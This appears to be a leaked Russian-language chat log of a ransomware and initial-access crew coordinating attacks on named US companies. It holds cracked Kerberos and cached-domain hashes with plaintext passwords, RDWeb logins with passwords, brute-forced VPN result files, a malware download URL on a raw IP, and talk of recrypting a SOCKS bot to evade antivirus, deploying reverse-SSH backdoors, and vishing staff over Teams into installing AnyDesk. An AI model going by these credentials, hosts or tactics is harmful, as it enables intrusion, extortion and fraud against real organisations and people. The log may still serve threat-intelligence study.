```

```

достаточно?

да, последние бизы

```

сек

переподнять не смогу

подожди, может получится еще прозвонить там когонибудь

чтото успели сделать?

ты тут? звоним?

они из калифорнии, может еще получится

да я тут

поздно, не берет никто уже, только в пнд пробовать

не я

операторы

чего у тебя ?

успел на ком нибудь закрепиться сегодня ?

я подменяю чака и помогаю чем могу

понял

www.ameritrustgroup.com

ну вот они самые интересные, на других там быстро соксы отвалились

хочу конечно)

жир вам отдают

Понял

отлично

а пока один жир

я брал пару таргетов, один вот заплатили

такой план и есть

> <@usernamegg:matrix.bestflowers247.online> который

да я вижу какую работу вы проделали, красавчики!

мы сейчас тоже скилл подтянули, будем брать что поменьше

про лес хорошо сказал) будем стараться!

все также, оба сокса лежат

судя по админам там рапида стоит

хотя в ссервисах не видно было

завтра зайду еще чекну соксы, а так если что в пнд попробуем тем кому не дозвонились еще раз набрать

убежал

до завтра

> <@usernamegg:matrix.bestflowers247.online> 71.146.165.170 10443/tcp test test USA

image.png

WorkGroup

* WORKGROUP

Даешь локеры щас?

тогда до завтра

ну у нас же не сервера )

офлайн соксы (

почему вторые, это те же самые

привет

пока не ожили

можешь, пожалуйста, спросить кодера про их последний комментарий?

All the files that still have .przhow632 and that still appear encrypted after running your tool. These are the files your tool seems to skip right over and not touch. You said the keys are missing from these files and are not decryptable. Antivirus was disabled before encryption, so it can't be the cause. I need to figure this out. I'll be back after the weekend.

Мне надо будет до вторника уехать, но постараюсь быть на связи((

скажи, ему, если нужна какая-либо помощь по переводу, пусть пишет на русском тебе - я переведу, чтобы не было недопонимания

ну или пусть напрямую мне пишет - как вам удобнее

бро привет

я выдвигаюсь

доберусь займсуь звонками

надо потестить

я же не звонил еще туда, но разберусь

`https://nsocks.net` хах, тут соксы не покупаются навсегда

```

они походу покупаются на сутки

вообще не прикольно конечно, будет дорого выходить

да, короч они видимо на сутки покупаются, потом их нужно продливать

можно конечно автопокупку поставить

но даже если брать 100 соксов, это 50$ в день

в месяц 1500$ и это только за 100 соксов

* можно конечно автопродление поставить

короч в пятницу запустил, и в субботу из-за соксов все стопнулось)

* короч в пятницу запустил, и в субботу из-за соксов все стопнулось(

> <@lapa:matrix.bestflowers247.online> в месяц 1500$ и это только за 100 соксов

почему нельзя дозвониться на обычный тел? ты говорил это проблема

> <@usernamegg:matrix.bestflowers247.online> хочу позвонить нескольким типам но показывает что звонок недоступен , как сделать так что бы я мог ему позвонить ?

у меня еще куча мелких коропв осталась с рассылки старой

я на них проверяю

> <@usernamejj:matrix.bestflowers247.online> sent a file.

> <@usernamehunter:matrix.bestflowers247.online> $krb5tgs$23$*xIISAuth$MEADOWBROOK.COM$meadowbrook.com/xIISAuth*$b1c1d69f21e8b5fce8aa......bde48d716bb05a0:Citadel2021!!

> <@usernamejj:matrix.bestflowers247.online> sent a file.

хотя нет, у них еще тут может порт поменяться

image.png

вот где красным

и вручную я так что ль буду сидеть каждый день переписывать список соксов

у них тупо почему-то нет линка на соксы

* у них тупо почему-то нет линка купленные соксы

Привет.

* Привет.

Доброе

да, скоро сброшу

Отлично. Спасибо

Юристы зашевелились, у нас хорошая дата на них ?

Соксы с пятницы пока офлайн, как только что то появится, я сразу дам знать

нашел короче как там хоть копитьровать все купленные соксы, но то что еще и порт поменять может у сокса это капец)

короч нужно там раз в день захоить и копировать соксы к себе, так как тупо нет линка

* короч нужно там раз в день захоить и копировать соксы к себе, так как тупо нет линка с купленными соксами

да будем звонить

ну время еще ранее, нужно подождать несколько часиков, что бы сделать выводы

> <@usernamegg:matrix.bestflowers247.online> ну они хоть живучие ?

> <@usernamegg:matrix.bestflowers247.online> тебя качество их устраивает ?

пока их поюзаю

VALID_BRUT_SONIC.txt

VALID_BRUT_RDWEB.txt

VALID_BRUT_CISCO.txt

FORTI_VALID.txt

CISCO_VALID_ITEMS.txt

SONIC_VALID.txt

все принял бро

отпишу

у меня проблемы с синглом по утрам

35154_NL_tcp.ovpn

медленно и пинг большой

+

скоро посмотрю, для брута мыло и пасс нужно перенести

сокы только закончил продлевать

* соксы только закончил продлевать

https://t.me/Breenne1

с него пришу

ну письмо норм, только проверю как оно отображается в айтлуке

> <@usernamegg:matrix.bestflowers247.online> sent a file.

polaristransport_kekhash.txt

что то мне на тестовую почту не приходит

нужно еще соксы пролить

а то там 6 штук осталось

только я вот сокс бота на тестовой запускал помню

и после пролива вашегго

палило уже exe в конце дня

дефом

наверное перекриптовать нужно

скоро сброшу exe

socks-0603.exe

```

$DCC2$10240#adm-ritesh#c125dbd1e5c0051a0aa79eb4c2c2386c:Fall2022!

$DCC2$10240#adm-vikram#ec8f91523626a8fa4a9049f14cb21352:Canada1

> <@usernamegg:matrix.bestflowers247.online> это на крипт мне отдать ?

++

+

$DCC2$10240#arodrigues#48a130792f3315f3ab2767b2c68ece12:Arwearwe1

++

привет. занимаюсь

Делаю

С любой точкой входа?

а ехе, соррян не увидел

делаю )

`$krb5tgs$23$*Administrator$CEFLOYD.LOCAL$cefloyd.local/Administrator*$967b9fa481516dacdf04de20d438f497$681a37d4d31a49aa2a77c2794ff3bc37c847a89d5d05449772a7bcfcb8cd7d9bc6ea3e53cbdf8a32243933f8744dd2923d1769849fc105b04c2ced56afe6d1790170b331165119b88ec62397b2d6db7a3b8f9ed78db5f8215deff0890e72c97d936e177c104e02f39ebca5feba688d102873fa8cb138d1f5ed65e7f0be69bd4be52a9b40405ea7e66bc04162a8aa82fcc264d1a326c1253de709d10ef795e438b8a36ac4e5328077df4b6de3896c9fc4f2fba74e800a5816f575de351b9ce3c6e3866203107f5056ab9fc4b26d9e6b0a5f3dc180df58d2327ff54ef2419daa204b7210014944fa37c7ecce4be105f30a7f1f75504641eb000332a84e963ca97cbdfdb68488629d41399a7df66d50442c1a76b84aa2cf611bc70671d4d43fa221b015bdc6d9ebb03225e641a29e79815140889819b60418fa1a65a94b5c8f34a75df7ffc1b19ae4109f8a494d02a3214c243d0bbb10d6754fdf2c281b474357f5ec626e3b703e3446ec1ea5fd0f683e05e202eb856bba254fd3c46ca3a9bda376c32e948749e51a07d95c0fec07556192922de98e48fe6d6428d247b985f0bbc433d87dbf452fbe3584130f973a1d2851ba2e84ea6871a2a9a8c32002105e19db308e7e5cb236101a5de0b21c824e8ba281dd6782bfd79026ccbff451c7a18ba3caa35b77bc41f05125228a668f8c39f5aa19448001089ba4483294b492f0b4096ca2a7947aa485e4ca8027412e0c2c24aba6dbc295a2fe949e76d1f2406534b068210c9d1a4a439d3645012c80633732d247a930037269c7bf8c52528a6f0665ba8a37a4b754401dbc4520122beb7f5ce790b9d7e40e491a7ac63e47d4a936c8ca606734838c061e63dc76136daa32e9df280f92dc0c2f03652d9f03353cf4980af3c678a4bb2810e89124d6d05e3de76ed05ffb771418e812af6bea73c42ecbc84544449ad34b8ff8ae25e86091d4d794113b36ab91ab6ff2eb186cfa331c3019beed5a623b204fd5f56670062cee31b512cb76e12dc0cb7b0ab0a7cd79fa7024eb19c94ed59d165047309f9307f014b666b3dcb94feb29e67f05c10afde71b34f67d7b1556e71701ae0d249aaeec1a5a0c185a40796de79ddeed1b1aa4d78b490a2079c144bbdef2024d229c520d8763afb38e61f4ed50669e451cf095e4e5433f08378068177e517ffc092fcbb28fcbc3a9da8e99fbf39cc1362dba37039e5a5b78efded1357167f36224ece852e9e50ac4745d7a98fd83c574a012e5f8e3fc2e27e765d10e48f90b6155df10b1f925b3a61718a81eb678f6fa1f87ef9647eda5209c1ea2bc3178a54c16020886b82736402ba00a1690cced4761793ac71dcaa2ec21419f101b08ea32bd751895277b967508f7aa0c42dcf656bd13b818ac559571661bbb23e32b52d1949f36009acb8863389de232984ebefca957f385c7fd299a0fc8f0b656a8d624e2526536d7a352a01bae0132943250e679d54becefa4cb39613bca2d7418a1ab929851016fe3b49803d3ec9a404a496696d8f173a9bbaa9881a23e8aaf20bfc5a2812e537c4a6a73e0ac57b64693fdd516828050c6cca6a05f06de16fe3fe9fb`

принял

> его пока нету

есть эксперты по ssh с кем проконсультироваться?

* есть эксперты по openssh на виндовс с кем проконсультироваться?

я уже просто не понимаю, время только трачу зря)

image.png

не подключается с винды, а с линукса всё ок

$DCC2$10240#adm-xingyuan#b64a637ccbabe7ce2ab5bb655842c73b:Spring$2024

++

привет

а как запускаеш sshd?

аа наверное дело в формате приват ключа

для путти другой формат ключа чем для линуха

открой puttygen

- SSH конвертировать ключи сгенеренные puttygen в формат OpenSSH

вот это как сгенереные в пути конвертнуть в формат для линукса

тебе надо наоборот, или просто сгенери в путти ключи

без путти, его не будет у таргета, openssh только

ты не понял

тебе ключ надо сгенерить

по которому заходить будешь

тестовый звонок сделаю челу с билетами - проверить как работает

)

да, в процессе

еще номера проверим обычные

да, я понял, но таргет их не будет генерировать (ключи)

++

> <@usernamegg:matrix.bestflowers247.online> socks-0603.exe

scks.zip

спасибо!

привет. все ок

ну тут точняк дело в ключах, ключ сгенереный на линуксе не подходит в путти, и наоборот

команда для примера:

* команда для примера:

это разные форматы просто

> <@usernamegg:matrix.bestflowers247.online> криптануть сокс бота

строка:

LbteFdGmMBpVfW9yqZuxHXgE2PCvr3YS4azKU75hjnNQA8cs6k

1.7z

да нет тут путти нигде

дай мне его контакт пожалуйста)

ну вообще справедливо

ну тогда надо вежливо написать "дело в том, что путти тут не используется, с использованием пароля, а не сертификата та же ошибка

а может у чатгпт лучше спрошу

тот аккаунт еще действителен что ты мне давал?

ага

+

> <@usernamegg:matrix.bestflowers247.online> 45.140.17.40 -- 03.06.2024

можно мне в 16 30 на 3 часа уйти?

ты путти используеш как клиента чтобы конектиться на таргет

или нет?

всё получилось

дело было в openssh сервере, он не запускался

нет, не нужна помощь больше, путти тут вообще не нужен

> <@usernamegg:matrix.bestflowers247.online> куда ?

спасибо

еще у меня есть 1 вопрос приватный

при встрече спрошу)

image.png

что-то с интеренетом, тупит сильно

никак скачать не могу файл

по приезде я это автоматизирую, надеюсь, вечером успею доделать

> <@usernamegg:matrix.bestflowers247.online> sent a file.

подольше сегодня посижу поработаю

скачал наконец

```

`http://204.137.14.135/0603.exe` можно пролить соксы

и чего было?

во сколько они обычно приходят?

звонилки

понятно

тоже звонить собрался? )

как контора называлась которую вам отдали и они дозвонились там в тимс или скайп

+

идут

или любую контору в которую в скайпе дозвонились

одну вещь проверим

ну письмо вроде норм отображается

image.png

а есть уже файл для выдачи?

в старом атулке вот так почему-то отображается

image.png

image.png

ясно)

как по innophos получилось чтото?

-----

так ну вроде звоним

сейчас еще потестим

в тимс

босс звонилок еще не ответил.

ладно, офнусь, наверное уже завтра прошлем

несколько способов есть позвонить

```

* ```

в сети 3037

innophos.com

пробуй

тук тук

докрути плз AmeriTrust

и вторую тоже желательно

привет

тебе Ethan Allen Global 13 мая не давали доступ?

> <@usernamegg:matrix.bestflowers247.online> ```

> <@usernamegg:matrix.bestflowers247.online> в сети 3037

не видит DC он

`5.8.18.20:3037`

Пусть проверят точно с этой сетки сокс

я по рдп даже на дц не согу

* я по рдп даже на дц не могу

GG:

ок понял

привет

а вы FortiSIEM ебашите ?

так еще со звонилками надо договорится

я тут

он не хочет звонить

точнее его операторши

-----

Salut, [03.06.2024 19:01]

-----

да старый таргет поднялись соксы, а отчетов по ним не вижу. Только что сокс упал

вот думал может тебе отдавали

там креды невалид

сейччас попробуем сами просканить аккуратно, если не получится отдадим вам

короче утвердим с ним сейчас

и начнем тест звонки делать

----

начинаю пока акки регать под таргеты тестовые

с ними тоже пробелма сейчас

> <@usernamegg:matrix.bestflowers247.online> ну дак звони куда ты пропал

мы тестим на реальных корпах

image.png

сейчас с именами поколдуем

работает дозвон

> <@usernamegg:matrix.bestflowers247.online> не видит DC он

да, сейчас как раз делаем

скину скрины что получится

INNOPHOS:AHartman:Ilovepizza25!:\\USEDIDC02

да пока звоним на доступы которые у нас есть, проверить идет ли дозвон

сначала разщбирались как позвонить еще..

тоже не сразу получилось

> <@usernamegg:matrix.bestflowers247.online> INNOPHOS:AHartman:Ilovepizza25!:\USEDIDC02

----

сейчас под тестовый прозвон черзе кол центр подговлю аки тоже, надо с ними сработаться

> <@usernamess:matrix.bestflowers247.online> ```

++ ищу

не

принял

image.png

> <@usernamess:matrix.bestflowers247.online> ```

у меня затык, крауд палит

image.png

```

делаю

сейчас еще внешний пробую убрать

будет, дописываю поднятие ssh сервера

со звонилой списался

сейчас понял, что админ права нужны для сервиса, поэтому в архиве sshd рассылается, учусь им пользоваться

после этого буду писать сервер для ubuntu

потом в автопанель добавлю bbgroup

ну и получается всё

ну в принципе просто, а затуп был в ssh, не понял почему для реверса другие требования на винде, на рапиде не всё описано

> <@usernamegg:matrix.bestflowers247.online> или скила не хватило ?

задача не моя просто 😎

но я сделаю

да кортес предлагал форти доступ на отработку

подумал что ты их ебашишь

> <@usernamegg:matrix.bestflowers247.online> дак не на всех

аа

ну блин

крауд частенько встречается

завтра будем, сделаю все по уму

смотри, еще такой пример подписи

image.png

это пример Spam Protect можно на что угодно заменить

суть в том что - external (внешний) они добавляют вконце имени

путанницу создает

----

завтра буду пробовать внешний есть идеи, но сходу не получилось

----

сейчас добиваю тестовый акк для прозвона

----

тогда цель созвониться и поставить прогу для удаленного рабочего стола

контакты не проблема найти

* завтра буду пробовать внешний убрать- есть идеи, но сходу не получилось

вроде бы) проверим

сценарий твой тогда им даю

просто если ты берешь у кого

если дашь чуть деталей про ОС форти

могу предложить более выгодные условия)

т.к. я сам долго ебашил паплик сплойты

с пробивом

05665fc7582e7ea4e8ebcb1fd2e57277

все отдал им

сегондя цель дозвониться и поставить энидеск например

забрать сессию

хотя даже дозвониться было бы не плохо)

**```

*

```

89e503ab667a2dc30057e49f4d4d41e8

671964c235c5864545e12f3be4d94358

62febf63e8334a73d0da6110af61fd39:1nn0Ph0s

доброе утро

в общем проблема что не отвечают

сегодня будем по другому фильтровать контакты

получается мы валидировали на тимсы

но этого не достаточно судя по всему

погнал на базу скоро буду на связи

есть идеи сейчас потестим

как только начнем дозваниваться, готовим сайт где качаем через аник софт

или поймем как стабильно дозваниваться

> <@usernamehunter:matrix.bestflowers247.online> 62febf63e8334a73d0da6110af61fd39:1nn0Ph0s

так, ну вроде готово, кроме панели, сейчас сервак ТТ выдаст и я затестирую (а лучше ты)

sshfiles.zip

если есть виндовая впс то можешь попробовать сейчас

такой архив будет

а всё тт выдал впс

да

да

можно форму скачивать отдельно курлом

test.bat

да

можешь стартовать

скажи как запустишь

да

он говорит креды хуйня типа

введи верные щас

он скажет всё ок типа

дальше если всё ок он загрузит файл мне на сервак

ну и ссх запустит

если не ок, то давай впс, я посмотрю где я объебался

да

что кайф?)

Привет!

> <@usernamegg:matrix.bestflowers247.online> что то набрутилось у нас ?

а юзер доменной?

принял

сейчас протестим

да я увидел, тут ошибка доменная какая то

image.png

щас я разберусь че с ним

VALID_BRUT_CISCO.txt

VALID_BRUT_RDWEB.txt

VALID_BRUT_SONIC.txt

FORTI_VALID.txt

> <@usernamegg:matrix.bestflowers247.online> точечно прошлем ?

> <@lapa:matrix.bestflowers247.online> sent an image.

все из-за верстки

> <@usernamegg:matrix.bestflowers247.online> соксы поставить пролить еще ?

так а что мне на выдачу ставить?

какие файлы?

+

image.png

я тсетово добавил всех подряд после валидации

+

онлайн условно 10проц

я тогда ребятам готовлю акк где будут тольок онлайн

говнокомпании, ну это просто посмотреть какой проц которые имеют тимс вообще в нем сидят

для тестов пока на таких потренируемся

у меня есть юристы сша и тд

их после тестов заюзаем

> <@usernamegg:matrix.bestflowers247.online> sent a file.

принял

серт от `https://www.ssl.com` будет ?

ого красавцы

предлагаю не учитывать ее просто в общем зачете)

вот на свежей впс все робит

```

привет

супер

ясно

ревеню завышен думаешь?

попробуй

скоро посмтавлю новую прогру для подписания через такой серт

чтобы не через виндовс все это делать

> <@usernamegg:matrix.bestflowers247.online> sent an image.

щас обновлю погоди

без этой либы не будет

там не будет установки

понятно

заново

sshfiles.zip

пойду помоюсь

какой у серта пасс?

все, понял, без пасс

* все, понял, без пасса

+

привет

супер

а по AmeriTrust www.ameritrustgroup.com ? Там как дела ?

понял, печально конечно. Да виидмо у них есть еще юс подразделения.

ага, понял.

Ну если сегодня сокс выйдет в сеть, давать тебе его ?

какие креды были?

а то у меня только это VPS-313196:Administrator:NL!HitzFAz6pwgDVLnAe

хм

> <@usernamegg:matrix.bestflowers247.online> сорян за мат но как есть

отваливается сокс?

давай

ну вроде размножил и подписал, скоро проверю

попробуем его перекинуть на другой хост

всё классно работает тут

```

заходим сюда

cat creds.txt

я буду разные имена давать соответственно

и разные порты

ssh -v -p 1236 administrator@170.130.55.117

подключение так

в батнике я порт менять буду

ну короче к автоматизации перехожу

ну с админ правами запустился exe подписаный

```

можете тоже на сетках попробывать запустить

все готово, соксы осталось пролить

kekhash.txt

кто хостит 95.216.228.249

> <@lapa:matrix.bestflowers247.online> ```

но я еще тут смотрю такой момент, что видимо из-за фф мне выдает, что там с одного айпишника скачивание идет

но я пока отключил блокировку по айпишникам

$krb5tgs$23$*adfs_svc$cosentinogroup.net$host/sts.cosentino.com@co....:Qu0Vad1s08*

++

adm_kekhash.txt

stop my all

$krb5tgs$23$*Administrator$findlayauto.local$MSSQLSvc/FMGSYSCENTER.findlayauto.local:1433@findlayauto.local*$a158fe5664580a608c9...d62701154a:c0nt0s0

++

```

443payload.bin

80payload.bin

`https://103.89.19.4/RDWeb/Pages/en-US/login.aspx   brent   Password01   BPHG\brent`

kekhash.txt

С какой точкой сделать? Рандомной?

64 битные шк?

da

+

что это значит?

по днсу

ок

скоро поменяю имя

Там просто рандомное название стоит

$krb5tgs$23$*crmsandboxsvc$GABRIELNY.COM$MSCRMSandboxService/DEVCRM02@GABRIELNY.COM*$3001283eb044e10ef3279e5e0ab12c7d$33:Marb3nz!

++

Это как? С другой иконкой?

+

Понял. Занимаюсь

Хорошо

Хорошо

image.png

такое название сделал

0.11 это будет рандомится

тип версия приложения

Ок

ждать пока поменяю картинку на тимс у exe ?

> <@usernamett:matrix.bestflowers247.online> ```

неа

только подняли серв

Server IP address: 95.164.87.40

+

-----

image.png

+

мы убрали подпись

теперь не видно что это внешний

😈

> <@lapa:matrix.bestflowers247.online> `http://204.137.14.135/0603.exe` можно пролить соксы

ок, чтонибудь придумаем

надо начать дозваниваться

)

как подготовим все я отпишусь

ну выглядит вообще збс без плашки что это внешний

+

еще поколдуем с именем будет лучше

она с ума сойдет бро ) из другой плоскости, не может людей обманывать и тд

найдем

когонибудь

понял

сделаем

хорошо, сейчас подготовим на вечер все и обсудим как организовать

> это направление очень сильное и его надо реализовать

казино

мгм гранд

сек скину статью

https://specopssoft.com/blog/mgm-resorts-service-desk-hack/

и еще какое-то казино также ебнули но они заплатили судя по всему

+

скоро поставлю хром

посмотрю

да потому, что там exe

с хромом и были раньше такие проблемы

раньше вроде зип с мусором помогал, видимо уже не помогает

`https://82.146.145.106/RDWeb/Pages/en-US/login.aspx lorraine Welcome123 channels\lorraine`

видимо потому, что домен новый

`https://5.57.51.22/RDWeb/Pages/en-US/login.aspx booking Abcd1234 symbion\booking`

```

image.png

вот причина

написана